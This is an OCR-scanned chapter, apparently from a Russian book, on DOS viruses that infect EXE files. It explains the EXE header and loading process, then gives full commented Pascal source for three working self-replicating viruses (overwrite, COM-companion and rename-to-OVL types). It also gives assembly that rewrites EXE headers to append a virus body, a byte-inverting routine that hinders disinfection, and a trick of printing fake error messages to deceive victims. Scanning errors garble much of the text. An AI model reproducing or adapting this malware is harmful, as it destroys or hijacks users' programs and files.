Exe-вирусы

ЕХЕ-ВИРУСЫ


В этой главе рассказано о ви- русах, заражающих ЕХЕ-фай- лы. Приведена классифика- ция таких вирусов, подробно рассмотрены алгоритмы их работы, отличия между ними, достоинства и недо- статки. Для каждого типа вирусов представлены исход- ные тексты с подробными комментариями. Также приве- . дены основные сведения о структуре и принципах ра- боты ЕХЕ-программы.


СОМ-файлы (небольшие программы, написанные в основном на языке Assembler) медленно, но верно устаревают. Им на смену приходят пуга- ющие своими размерами ЕХЕ-"монстры". Появились и вирусы, умею- щие заражать ЕХЕ-файлы.


Структура и процесс загрузки ЕХЕ-программы


В отличие от СОМ-программ, ЕХЕ-программы могут состоять из не- скольких сегментов (кодов, данных, стека). Они могут занимать боль- ше 64Кбайт.


ЕХЕ-файл имеет заголовок, который используется при его загрузке. Заголовок состоит из форматированной части, содержащей сигнатуру и данные, необходимые для загрузки ЕХЕ-файла, и таблицы для на- стройки адресов (Relocation Table). Таблица состоит из значений в фор- мате сегмент:смещение. К смещениям в загрузочном модуле, на которые указывают значения в таблице, после загрузки программы в память дол- жен быть прибавлен сегментный адрес, с которого загружена программа.


При запуске ЕХЕ-программы системным загрузчиком (вызовом функ- ции DOS 4Bh) выполняются следующие действия:


1. Определяется сегментный адрес свободного участка памяти, размер которого достаточен для размещения программы.


2. Создается и заполняется блок памяти для переменных среды.


3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP;


сегмент+ООЮЬЮОООЬ - программа). В поля PSP заносятся соответ- ствующие значения.


4. Адрес DTA устанавливается равным PSP:0080h.


5. В рабочую область загрузчика считывается форматированная часть заголовка ЕХЕ-файла.


6. Вычисляется длина загрузочного модуля по формуле:


Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig.


7. Определяется смещение загрузочного модуля в файле, равное HdrSize*16.


8. Вычисляется сегментный адрес (START_SEG) для загрузки - обычно это PSP+lOh.


9. Считывается в память загрузочный модуль (начиная с адреса START_SEG:0000).


10. Для каждого входа таблицы настройки:


a) читаются слова I_OFF и I_SEG;


b) вычисляется RELC^SEG-START^SEG+LSEG;


c) читается слово по адресу RELO_SEG:I_OFF;


d) к прочитанному слову прибавляется START_SEG;


e) результат запоминается по тому же адресу (RELO_SEG:I_OFF).


11. Распределяется память для программы в соответствии с МахМет и МтМет.


12. Инициализируются регистры, выполняется программа:


a) ES=DS°PSP;


b) АХ=результат проверки правильности идентификаторов драйве- ров, указанных в командной строке;


c) SS°START_SEG+ReloSS, SP-ExeSP;


d) CS=START_SEG+ReloCS, IP=ExeIP.


Классификация ЕХЕ-вирусов


ЕХЕ-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма.


Вирусы, замещающие программный код (Overwrite)


Такие вирусы уже стали раритетом. Главный их недостаток - слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найден- ный файл для редактирования и записывает свое тело в начало про- граммы, не сохраняя оригинальный код. Инфицированные этими виру- сами программы лечению не подлежат.


Вирусы-спутники (Companion)


Эти вирусы получили свое название из-за алгоритма размножения:


к каждому инфицированному файлу создается файл-спутник. Рассмот- рим более подробно два типа вирусов этой группы:


Вирусы первого типа размножается следующим образом. Для каждого ин- фицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным


кодом, имеющий такое же имя, что и ЕХЕ-файл, но с расширением СОМ. Вирус активируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если не указано расширение файла, DOS сначала ищет в текущем каталоге файл с заданным именем и расширением СОМ. Если СОМ-файл с та- ким именем не найден, ведется поиск одноименного ЕХЕ-файла. Если не найден и ЕХЕ-файл, DOS попробует обнаружить ВАТ (пакетный) файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной PATH. Другими словами, когда пользователь хочет за- пустить программу и набирает в командной строке только ее имя (в основном так все и делают), первым управление получает вирус, код которого находится в СОМ-файле. Он создает СОМ-файл еще к одному или нескольким ЕХЕ-файлам (распространяется), а затем исполняет ЕХЕ-файл с указанным в командной строке именем. Поль- зователь же думает, что работает только запущенная ЕХЕ-программа. Вирус-спутник обезвредить довольно просто - достаточно удалить СОМ-файл.


Вирусы второго типа действуют более тонко. Имя инфицируемого ЕХЕ-файла остается прежним, а расширение заменяется каким-либо другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ), Например, файл может получить расширение DAT (файл данных) или OVL (про- граммный оверлей). Затем на место ЕХЕ-файла копируется вирусный код. При запуске такой инфицированной программы управление полу- чает вирусный код, находящийся в ЕХЕ-файле. Инфицировав еще один или несколько ЕХЕ-файлов таким же образом, вирус возвращает ориги- нальному файлу исполняемое расширение (но не ЁХЕ, а СОМ, по- скольку ЕХЕ-файл с таким именем занят вирусом), после чего испол- няет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лече- ние файлов, зараженных вирусом этого типа, может быть затруднено, если вирус-спутник шифрует часть или все тело инфицируемого файла, а перед исполнением его расшифровывает.


Вирусы, внедряющиеся в программу (Parasitic)


Вирусы этого вида самые незаметные: их код записывается в инфици- руемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл.


Способы заражения ЕХЕ-файлов


Самый распространенный способ заражения ЕХЕ-файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохране- нием оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение СОМ-файлов, но вмес- то задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибав- ляет к его сегментной компоненте значение регистра DS или ES (полу- ченное при старте вируса) и передает управление на полученный адрес.


Следующий способ - внедрение вируса в начало файла со сдвигом кода программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код, а после него - код инфицируемой программы. Таким образом, код программы как бы "сдвигается" в файле на длину кода вируса. Отсюда и название способа - "способ сдвига". При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (СОМ или ЕХЕ), и затем исполняет этот файл. Когда программа закончила рабо- ту, временный файл удаляется. Если при создании вируса не применя- лось дополнительных приемов защиты, то вылечить инфицированный файл очень просто - достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой про- граммы (а ведь бывают экземпляры размером больше 1Мбайт).


Следующий способ заражения файлов - метод переноса - по всей ви- димости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной про- граммы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало, по длине равное телу вируса. На это место записывается тело вируса. Начало программы из памяти дописывается в конец файла. Отсюда на- звание метода - "метод переноса". После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы, из которой запустился. Для этого он считывает начало инфицирован- ной программы, сохраненное в конце файла, и записывает его в начало


файла, восстанавливая работоспособность программы. Затем вирус уда- ляет код начала программы из конца файла, восстанавливая оригиналь- ную длину файла, и исполняет программу. После завершения програм- мы вирус вновь записывает свой код в начало файла, а оригинальное начало программы - в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, каки до инфицирования.


Вирусы, замещающие программный код (Overwrite)


Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появ- ляются еще такие вирусы, созданные на языке Assembler, но это, скорее, соревнование в написании самого маленького overwrite-вируса. На дан- ный момент самый маленький из известных overwrite-вирусов написан Reminder'ом (Death Virii Crew group) и занимает 22 байта.


Алгоритм работы overwrite-вируса следующий:


1. Открыть файл, из которого вирус получил управление.


2. Считать в буфер код вируса.


3. Закрыть файл.


4. Искать по маске подходящий для заражения файл.


5. Если файлов больше не найдено, перейти к пункту 11.


6. Открыть найденный файл.


7. Проверить, не заражен ли найденный файл этим вирусом.


8. Если файл заражен, перейти к пункту 10.


9. Записать в начало файла код вируса.


10. Закрыть файл (по желанию можно заразить от одного до всех фай- лов в каталоге или на диске).


11. Выдать на экран какое-либо сообщение об ошибке, например "Abnormal program termination" или "Not enough memory", - пусть пользователь не слишком удивляется тому, что программа не запу- стилась.


12. Завершить программу.


Ниже приведен листинг программы, заражающей файлы таким способом.


{$М 2048, 0, 0}


{$А-}


{$В-}


{$D-}


{$Е+}


($F-)


($G-}


($!-}


{$L-}


{$N-}


{$S-} /


{$V-}


{$X+}


{Используются модули DOS и System (модуль System автоматически


подключается к каждой программе при компиляции)} Uses DOS;


Const


(Имя вируса} VirName='Pain';


{Строка для проверки на повторное заражение.


Она дописывается в заражаемый файл сразу после кода вируса}


VirLabel: String[5]='Pain!1;


{Длина получаемого при компиляции ЕХЕ-файла} VirLen=4208;


Author='Dirty Nazi/SGWW.';


{Количество заражаемых за один сеанс работы файлов} lnfCount=2;


Var


{Массив для определения наличия копии вируса в найденном файле} Virldentifier: Array [1.5] of Char;


{Файловая переменная для работы с файлами} VirBody: File;


(Еще одна файловая переменная - хотя без нее можно было обойтись, так будет понятнее) Target: File;


{Для имени найденного файла) TargetFile: PathStr;


(Буфер для тела вируса) VirBuf : Array [-I.VirLen] of Char;


(Для даты/времени файла) Time : Longint;


(Счетчик количества инфицированных файлов) InfFiles : Byte;


Dirlnfo : SearchRec;


LabelBuf : Array [1.5] of Char;


(Инициализация) procedure Init;


begin LabelBuf [1]:=VirLabel[1];


LabelBuf[2]:=VirLabel[2];


LabelBuf[3]:=VirLabel[3], LabelBuf[4]:=VirLabel[4];


LabelBuf[5]:=VirLabel[5];


(Обнуляем счетчик количества инфицированных файлов} lnfFiles:=0;


(Связываем файловую переменную VirBody с именем программы. из которой стартовали) Assign(VirBody, ParamStr(O));


(Открываем файл с recsize=1 байту) Reset(VirBody, 1);


(Считываем из файла тело вируса в массив VirBuf} BlockRead(VirBody VirBuf, VirLen);


(Закрываем файл) Close(VirBody);


end;


(Поиск жертвы} procedure FindTarget;


Var Sr: SearchRec;


(Функция возвращает True, если найденная


программа уже заражена, и False, если еще нет} function VirusPresent: Boolean;


begin


(Пока будем считать, что вируса нет} VirusPresent:=False;


(Открываем найденный файл} Assign(Target, TargetFile);


Reset(Target, 1);


(Перемещаемся на длину тела вируса от начала файла} Seek(Target, VirLen);


(Считываем 5 байт - если файл уже заражен, там находится метка вируса} BlockRead(Target, Virldentifier, 5);


If Virldentifier=Virl_abel Then


{Если метка есть, значит есть и вирус} VirusPresent:=True;


end;


(Процедура заражения} procedure InfectFile;


begin


{Если размер найденного файла меньше, чем длина вируса плюс 100 байт, то выходим из процедуры} If Sr.Size < VirLen+100 Then Exit;


{Если найденная программа еще не заражена, инфицируем ее} If Not VirusPresent Then begin


{Запомним дату и время файла. Атрибуты запоминать не надо, так как поиск ведется среди файлов с атрибутом Archive, а этот атрибут устанавливается на файл после сохранения в любом случае} Time:=Sr.Time;


{Открываем для заражения} Assign(Target, TargetFile);


Reset(Target, 1);


{Записывам тело вируса в начало файла} BlockWrite(Target, VirBuf, VirLen);


{Перемещаем указатель текущей позиции на длину вируса от начала файла} Seek(Target, VirLen);


{Вписываем метку заражения} BlockWrite(Target, LabelBuf, 5);


{Устанавливаем дату и время файла} SetFTime(Target, Time);


{Закрываем} Close(Target);


{Увеличиваем счетчик инфицированных файлов} Inc(lnfFiles);


end;


end;


{Начало процедуры FindTarget} begin


{Ищем в текущем каталоге файлы по маске *.ЕХЕ с атрибутами Archive} FindFirstF.EXE', Archive, Sr);


{Пока есть файлы для заражения}


While DosError=0 Do


begin


If Sr.Name=" Then Exit;


(Запоминаем имя найденного файла в переменную TargetFile} TargetFile:=Sr.Name;


{Вызываем процедуру заражения} InfectFile;


{Если заразили InfCount файлов, завершаем поиск} If InfFiles > InfCount Then Exit;


{Ищем следующий файл по маске} FindNext(Sr);


end;


end;


{Основное тело} begin


(Инициализируемся} hit;


{Ищем жертвы и заражаем их} FindTarget;


{Выдаем на экран сообщение об ошибке} WriteLn('Abnormal program termination.');


{Это чтобы компилятор вставил в код константы VirName и Author, условие же поставлено таким образом, что эти строки никогда не будут выведены на экран} If 2=3 Then begin WriteLn(VirName);


WriteLn(Author);


end;


end.


Вирусы-спутники (Companion)


Вирусы-спутники сейчас широко распространены - соотношение companion и parasitic вирусов примерно один к двум.


Инфицирование методом создания СОМ-файла спутника


Смысл этого метода - не трогая "чужого кота" (ЕХЕ-программу), со- здать "своего" - СОМ-файл с именем ЕХЕ-программы. Алгоритм рабо- ты такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпи- лированного ЕХЕ-файла с вирусным кодом, считывания в буфер тела вируса, запуска файла, из которого вирус получил управление). Неза- чем даже хранить метку для определения инфицирования файла.


Заражение производится с помощью командного процессора:


1. Если в командной строке указаны параметры, сохранить их в пере- менную типа String для передачи инфицированной программе.


2. Найти ЕХЕ-файл-жертву.


3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай- лом СОМ-файл с таким же именем, как у файла-жертвы.


4. Если такой СОМ-файл присутствует, файл уже заражен, переходим к пункту 6.


5. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением СОМ.


6. Процедурой Ехес загрузить и выполнить файл с именем стартового, но с расширением ЕХЕ - то есть выполнить инфицированную программу.


7. Вернуть управление в DOS.


Приведенный ниже листинг показывает заражение файлов этим методом.


($М 2048, 0, 0} f$A-} <$В-" ($D-} <$Е+1 {$F-} {$G-}


{$!-}


f$L-( {$N-) {$S-} <$V-} {$X+}


(Используются модули DOS и System (модуль System автоматически подключается к каждой программе при компиляции)} Uses DOS;


Const


{Имя вируса) VirName='Guesf;


Author='Dirty Nazi/SGWW. 4 PVT only!';


{Количество зараженных за один сеанс работы файлов} lnfCount=2;


Var


{Для имени найденного файла) TargetFile : PathStr;


{Для создания копии} TargetCOM : PathStr;


(Счетчик количества заражений} InfFiles : Byte;


Dirlnfo : SearchRec;


{Для сохранения параметров командной строки} Parms : String;


(Для цикла For} I: Byte;


(Поиск жертв} procedure FindTarget;


Var Sr : SearchRec;


{Функция возвращает True, если найденная программа уже заражена, и False, если еще нет} function VirusPresent: Boolean;


Var


Target : File;


begin


{Пока будем считать, что вируса здесь нет} VirusPresent:=False;


{Пытаемся открыть файл с именем найденной программы, но с расширением СОМ} AssignHarget, TargetCOM);


ResetHarget, 1);


{Если не было ошибок при открытии, программа уже инфицирована этим вирусом} If IOResult=0 Then begin VirusPresent:=True;


{Открыли - закроем} Close(Target);


end;


end;


{Собственно процедура заражения} procedure InfectFile;


begin


{Если найденная программа еще не заражена, инфицируем ее} If Not VirusPresent Then begin


{С помощью командного процессора копируем вирусный код в СОМ-файл} Swap Vectors;


Exec(GetEnv('COMSPEC'),7C COPY /B '+ParamStr(0)+' '+TargetCOM+' >NUL');


Swap Vectors;


(Увеличиваем на единицу счетчик инфицированных файлов} Inc(lnfFiles);


end;


end;


begin {начало процедуры FindTarget}


(Ищем в текущем каталоге файлы по маске *.ЕХЕ с атрибутами Archive} FindFirstF.EXE', Archive, Sr);


{Пока есть файлы для заражения}


While DosError=0 Do


begin


If Sr.Name=" Then Exit;


{Запоминаем имя найденного файла в переменную TargetFile} TargetFile:=Sr.Name;


TargetCOM:=Copy(TargetFile,1,Length(TargetFile)-4)+'.COM';


{Вызываем процедуру заражения} InfectFile;


{Если заразили InfCount файлов, завершаем поиск} If InfFiles > InfCount Then Exit;


{Ищем следующий файл по маске} FindNext(Sr);


end;


end;


{Основное тело} begin Parms:=' ';


{Запоминаем параметры командной строки} If ParamCount <> 0 Then For l:=1 To ParamCount Do Parms:=Parms+' '+ParamStr(l);


{Ищем жертвы и заражаем их} FindTarget;


TargetFile:=Copy(ParamStr(0), 1 ,Length(ParamStr(0))-4)+'.EXE';


(Ищем файл с именем стартового файла, но с расширением ЕХЕ} FindFirst(TargetFile, AnyRle, Dirlnfo);


{Если такой файл найден, запускаем его на выполнение) If DosError=0 Then begin Swap Vectors;


Exec(GetEnv('COMSPEC'),7C

'+TargetFile+Parms);


Swap Vectors;


end Else


{Если файл не найден, выходим, не внося в программу изменений) begin WriteLn(#13#10, VirName, ' by '.Author);


WriteLnCKaKoe-нибудь сообщение');


end;


end.


Инфицирование методом переименования ЕХЕ-файла


Отличий в алгоритмах работы этих вирусов и их "коллег", создающих файл-спутник, не так уж много. Но, по всей видимости, заражение ме- тодом переименования несколько совершеннее - для излечения от ви- руса нужно не просто удалить СОМ-файл с кодом вируса, а немного помучаться и разыскать, во что же переименован ЕХЕ-файл с инфици- рованной программой.


1. Если в командной строке указаны параметры, сохранить их в пере- менную типа String для передачи инфицированной программе.


2. Найти ЕХЕ-файл-жертву.


3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай- лом-жертвой файл с таким же именем и с расширением, которое выбрано для инфицированной программы (например, OVL - про- граммный оверлей).


4. Если такой файл присутствует, программа уже инфицирована - пе- реходим к пункту 7.


5. Переименовать найденный файл-жертву (ЕХЕ) в файл с таким же име- нем, но с расширением, выбранным для инфицированной программы.


6. С помощью командного процессора скопировать файл, из которого по- лучено управление, в файл с именем жертвы и расширением жертвы.


7. Найти в каталоге, из которого получено управление, файл с именем стартовой программы, но с расширением, выбранным для инфици- рованной - это и будет зараженная программа, которую в данный момент необходимо запустить на исполнение.


8. Если такой файл не найден, переходим к пункту 12.


9. Изменить расширение найденного файла на СОМ (ни в коем случае не на ЕХЕ, ведь в ЕХЕ-файле с таким именем находится вирусный код!).


10. Процедурой Ехес загрузить и выполнить переименованный файл - то есть выполнить инфицированную программу.


11. Вернуть СОМ-файлу с инфицированной программой выбранное расширение, то есть превратить его опять в неисполняемый.


12. Вернуть управление в DOS.


Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider написан очень просто и доступно. За сеанс работы он заражает один ЕХЕ-файл в текущем каталоге. Сам процесс заражения также весьма прост: файл-жертва переписывается в файл с расширением OVL (овер- лейный файл), а на его место с помощью командного процессора копи- руется вирусный код. При запуске происходит заражение только что найденного ЕХЕ-файла, затем вирусный код переименовывается в OWL, a OVL - в ЕХЕ, после чего оригинал запускается на исполне- ние. Когда оригинал отработал, происходит переименование в обратном порядке. С защищенного от записи диска программа не запустится, она выдаст сообщение, что диск защищен от записи.


В представленном здесь виде вирус легко обезвредить, достаточно про- сто переименовать OVL-файл обратно в ЕХЕ. Но, чтобы усложнить ле- чение, в вирусе может быть использован такой прием:


procedure MakeNot;


Var


Buf10: Array [1.10] of Byte;


Cicle: Byte;


begin Seek(Prog, 0);


Reset(Prog);


BlockRead(Prog, Buf10, 10);


For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];


Seek(Prog, 0);


BlockWrite(Prog, Buf10, 10);


Close(Prog);


end;


При использовании этой процедуры надо учитывать, что заражаемая и запускаемая на исполнение программа должна быть связана с пере- менной Prog типа File, описанной в основном модуле. Суть процедуры состоит в том, что из заражаемой программы считываются 10 байт и ко- дируются операцией Not. ЕХЕ-программа становится неработоспособ- ной. Запускать эту процедуру нужно не только перед прогоном ориги- нала, но и после него.


{ Name Rider }


{ Version 1.0 }


{ Stealth No }


{ Tsr No }


{ Danger 0 }


{ Attac speed Slow }


{ Effects No }


{ Length 4000 }


{ Language Pascal }


{ BodyStatus Packed }


{ Packer Pklite }


($M 2048, 0, 0} { Stack 1024b, Low Heap Limit Ob, High Heap Limit Ob }


{Используются модули DOS и System (модуль System автоматически подключается к каждой программе при компиляции)} Uses DOS;


Const Fail='Cannot execute '^13#10'Disk is write-protected';


{Расширения файлов, которые будем использовать} Ovr='.OWL';


Ovl='.OVL';


Ехе=.ЕХЕ';


Var Dirlnfo : SearchRec;


Sr : SearchRec;


Ch : Char;


I : Byte;


OurName : PathStr;


OurProg : PathStr;


Ren : File;


CmdLine : ComStr;


Victim : PathStr;


VictimName : PathStr;


(Процедура для проверки диска на Read Only) procedure CheckRO;


begin Assign(Ren, #$FF);


ReWrite(Ren);


Erase(Ren);


If lOResult <>
0 Then


{Если диск защищен от записи, то ответ 'Access denied'}


begin


WriteLn(Fail);


Halt(5);


end;


end;


(Процедура прогонки оригинала} procedure ExecReal;


begin


{Находим оригинал} FindFirst(OurName+Ovl, AnyFile, Dirlnfo);


If DosError <>
0 Then


(Если не нашли}


begin


WriteLn('Virus RIDER. Let's go on riding!');


WriteLn('l beg your pardon, your infected file cannot be executed.');


(Выход с DosError=<t>ann не найден) Halt(18);


end;


{Переименовываем программу в OVL} Assign(Ren, OurName+Exe);


ReName(Ren, OurName+Ovr);


{Переименовываем оверлей в ЕХЕ} Assign(Ren, OurName+Ovl);


ReName(Ren, OurName+Exe);


(И запускаем его} Swap Vectors;


Exec(GetEnv('COMSPEC'), 7C '+OurName+Exe+CmdLine);


Swap Vectors;


{А теперь возвращаем все на место) Assign(Ren, OurName+Exe);


ReName(Ren, OurName+Ovl);


Assign(Ren, OurName+Ovr);


ReName(Ren, OurName+Exe);


end;


(Процедура заражения} procedure Infect;


begin


{Переименовываем жертву в OVL} Assign(Ren, Victim);


ReName(Ren, VictimName+Ovl);


{Копируем тело вируса на место жертвы} SwapVectors;


Exec(GetEnv('COMSPEC'), '/С COPY '+OurProg+' '+Victim+' >NUL');


SwapVectors;


end;


{Процедура поиска жертвы} procedure FindFile;


begin


{В текущем каталоге ищем ЕХЕ-файл} FindFirst('*EXE', AnyFile, Dirlnfo);


If DosError=0 Then


{И если он найден} begin


{Запоминаем имя жертвы} Victim:=Dirlnfo.Name;


{Запоминаем имя без расширения} VictimName:=Copy(Victim, 1, Length(Victim)-4);


{Ищем оверлей с тем же именем} FindFirst(VictimName+Ovl, AnyFile, Sr);


If DosError <>
0 Then Infect;


end;


end;


{Процедура инициализации переменных} procedure I nit;


begin


(Командная строка} CmdLine:=";


{Полное имя нашей программы} OurProg:=ParamStr(0);


{Имя нашей программы без расширения} OurName:=Copy(ParamStr(0), 1, Length(ParamStr(0))-4);


For l:=1 To ParamCount Do begin


{Запоминаем параметры} CmdLine:=ParamStr(l)+' ';


end;


end;


{Основная подпрограмма} begin


{А эту табличку запишем в код для тех,


кто распакует вирус и начнет в нем копаться}


If False Then


begin


WriteLn(#13#10 ' ');


end;


{Инициализируемся} Init;


(Проверка диска на R/О} CheckRO;


{Ищем и заражаем} FindFile;


{Загружаем оверлей} ExecReal;


end.


Вирусы, внедряющиеся в программу (Parasitic)


Эти вирусы являются самыми "хитрыми". Поскольку такой вирус вне- дряется в инфицируемую программу, это дает ему много преимуществ перед всеми вышеописанными вирусами: на диске не появляются лиш- ние файлы, нет забот с копированием и переименованием, кроме того, усложняется лечение инфицированных файлов.


Стандартное заражение ЕХЕ-файлов


Стандартное заражение - заражение, при котором вирус внедряется в конец файла, изменяя заголовок так, чтобы после загрузки файла уп- равление получил вирус. Принципиально действие такого вируса мало отличается от действия рассмотренного СОМ-вируса. Чтобы выяснить способы работы с ЕХЕ-файлами, рассмотрим следующий фрагмент про- граммы:


;Читаем заголовок ЕХЕ-файла (точнее, только первые 18h байт, ;которых вполне достаточно)


ReadHeader:


mov ah,3Fh


mov dx,offset EXEHeader mov cx,0018h int 21 h


Останавливаем в SI адрес считанного заголовка. В дальнейшем ;будем обращаться к заголовку, используя Sl+смещение элемента mov si,offset EXEHeader


[Получаем реальную длину файла, переместив указатель текущей ;позиции чтения/записи в конец файла GetRealFSize:


mov ax,4202h


mov bx.Handle


xor ex,ex


xor dx.dx


int 21 h


;Сохраним полученную длину файла mov Reallen.dx mov Reallen+2,ax


;Так как речь идет о стандартной процедуре заражения, нужно ;помнить, что все вышесказанное не должно затрагивать оверлейные файлы. Их длина, указанная в заголовке, .-меньше реальной, то есть эти файлы загружаются ;в память не полностью.


Следовательно, если заразить такой файл, вирус попадет ;в незагружаемую часть. Сохраним в стеке реальную длину ЕХЕ-файла


push dx


push ax


рассчитаем размер ЕХЕ-файла в 512-байтных страницах и остаток CompareOVL


mov cx,0200h


div ex


;Ha данный момент в регистре АХ находится число страниц ;(в каждой странице содержится 512 байт), ;а в регистре DX - остаток, образующий


;еще одну (неучтенную) страницу. .Добавим эту страницу к общему числу страниц - ;если остаток не равен нулю, то .увеличим число страниц


or dx.dx


jz m1


inc ax m1:


.Будем считать пригодным для заражения .стандартным способом файлы с длиной, ;полностью совпадающей с указанной в заголовке


cmp ax,[si+PartPag]


jne ExitProc


cmp dx,[si+PageCnt]


jne ExitProc


;Чтобы вирус смог вернуть управление ;зараженной программе, сохраним поля ReloSS, ;ExeSP, ReloCS, ExelP из заголовка ЕХЕ-файла. .Значения констант, используемых в программе, .равны смещению соответствующего ;элемента в заголовке ЕХЕ-файла (Приложение А) InitRetVars:


mov ax,[si+ReloSS]


mov oldss.ax


mov ax,[si+ExeSP]


mov oldsp.ax


mov ax,[si+ReloCS]


mov oldcs.ax


mov ax,[si+Exe!P]


mov oldip.ax


.Восстановим из стека реальную длину файла ;В данном случае она совпадает с длиной, указанной в заголовке


pop ax


pop dx


.Рассчитаем длину программы с вирусом, для чего прибавим ;к длине файла длину тела вируса


add ax,VIRSIZE ;VIRSIZE - длина тела вируса


adc dx.0


рассчитаем получившуюся длину (одна страница - 512 байт) ;и остаток в последней странице (так же, ;как рассчитывали длину файла без вируса)


mov cx,0200h


div ex


or dx.dx


jz newJen


inc ax NewJen:


;Внесем в заголовок новую длину файла mov [si+PageCnt],ax mov [si+PartPag],dx


;Прочитаем реальную длину файла. ;По ней будем рассчитывать новую ;точку входа в программу (адрес запуска) Eval_new_entry:


mov dx.Reallen+2


mov ax.Reallen


; Рассчитаем новую точку входа.


.Точка входа в вирус должна находиться


;в начале его тела. Другими словами, нужно к длине файла


.прибавить смещение точки входа.


;Разделим длину на размер параграфа (10h)


mov cx,10h


div ex


Получили число параграфов (AX) и остаток (DX - смещение ;вируса в последнем параграфе). ;0тнимем от числа параграфов в файле число .параграфов в заголовке - получим сегмент входа в ЕХЕ-файл sub ax,[si+HdrSize]


;3апишем новую точку входа в заголовок mov [si+ReloCS],ax mov [si+ExelP],dx


.Замечание: можно было округлить полученное число, ;и вирус начинался бы с OOOOh. ;Но этого делать не стоит.


,-Естественно, все обращения к данным в этом вирусе


должны быть нефиксированными, как и в любом другом вирусе.


;Вместо "mov ax,ANYDATA" придется делать так:


; mov si.VIRSTART


; mov ax,[si+offset ANYDATA]


;где offset ANYDATA - смещение относительно начала тела вируса


;Стек поставим за тело вируса - байт на ЮОп. Потом обязательно


;вернем, иначе можно стереть заготовленные в стеке значения!


.'Установим сегмент стека такой же, как и кода,


;а указатель на вершину стека -


;на 100h байт после тела вируса


mov [si+ReloSSj.ax


mov ax.VIRSIZE+IOOh


mov [si+ExeSP],ax


;Теперь запишем заголовок в файл, не забыв и тело вируса. ; Рекомендуется писать сначала тело, а потом заголовок. ;Если тело вдруг не допишется, ;то файл испортим зря UpdateRle:


;3апишем тело вируса WriteBody:


.-Установим указатель чтения/записи в конец файла mov bx,Handle хог сх,сх xor dx.dx mov ax,4202h int 21 h


.Запишем тело вируса в файл mov ah,40h mov cx.VIRSIZE mov dx.offset VIRStart int 21h


;3апишем заголовок WriteHeader:


;Установим указатель чтения/записи в начало файла mov ax,4200h


xor ex,ex


xor dx.dx


int 21 h


.Запишем заголовок в файл


mov cx,0018h


mov ah,40h


mov dx.si


int 21 h


Итак, вирус "поселился" в ЕХЕ-файле. А как после окончания работы вируса передать управление инфицированной программе? Вот процеду- ра выхода из вируса:


CureEXE:


StackBack:


-.Установим первоначальный указатель (сегмент и смещение) стека mov ax.ds


-.Прибавим ООЮп, после чего в АХ будет ;находится сегмент, с которого ;загружен программный модуль add ax,10h


Прибавим первоначальный сегмент стека


db @add_ax ;код ADD AX, дальше по аналогии OldSS dw ? ;это значение было установлено ;при заражении


;3апретим прерывания, так как со стеком нельзя работать, ;пока и сегмент, и смещение не установлены в нужное значение cli


-.Установим сегмент стека (PSP+Wh+OldSS) mov ss.ax


:Установим первоначальный указатель (смещение) стека


db @mov_sp OldSP dw ?


; Разрешим прерывания - опасный участок пройден sti


[Подготовим значения в стеке для команды IRET RetEntryPoint:


pushf


рассчитаем сегмент для кода по аналогии с сегментом стека


mov ax.DATASEG


add ax,10h


db @add_ax OldCS dw ?


;Сохраним в стеке полученное значение (PSP+Wh+OldCS) push ax


;Сохраним в стеке смещение исходной точки входа


db @mov_ax OldIP dw ?


push ax


.Запустим программу. В стеке находятся смещение ;точки входа, сегмент точки входа и флаги iret


Внедрение способом сдвига


Инфицируемая программа размещается в файле после кода вируса, сдвигаясь на его длину, отсюда и название метода. Алгоритм работы вируса следующий:


1. Открыть файл, из которого получено управление.


2. Считать в буфер тело вируса.


3. Закрыть файл.


4. Найти файл-жертву (для данного типа вирусов лучше СОМ-файл, но можно и не слишком большой ЕХЕ - это связано с тем, что все тело инфицируемой программы считывается в память и ее может не хватить, если эта программа слишком большая).


5. Открыть файл-жертву.


6. Проверить файл на повторное заражение (здесь могут быть вариан- ты, но чаще всего используется сигнатура).


7. Если файл уже инфицирован, перейти к пункту 3.


8. Считать в буфер все тело программы.


9. Записать в начало файла тело вируса из буфера.


10. Дописать в файл после тела вируса тело программы из буфера. Длина программы увеличивается на длину вируса.


11. Закрыть файл-жертву.


12. Открыть файл, из которого стартовали.


13. Считать в буфер тело инфицированной программы, расположенное в файле после тела вируса.


14. Создать на диске временный файл с расширением СОМ или ЕХЕ (в зависимости от того, какой тип программ заражается).


15. Записать в этот файл тело программы из буфера.


16. Закрыть созданный файл.


17. Процедурой Ехес запустить созданный файл на исполнение - выполнится инфицированная программа.


18. После завершения работы программы созданный файл удалить.


19. Вернуть управление в DOS.


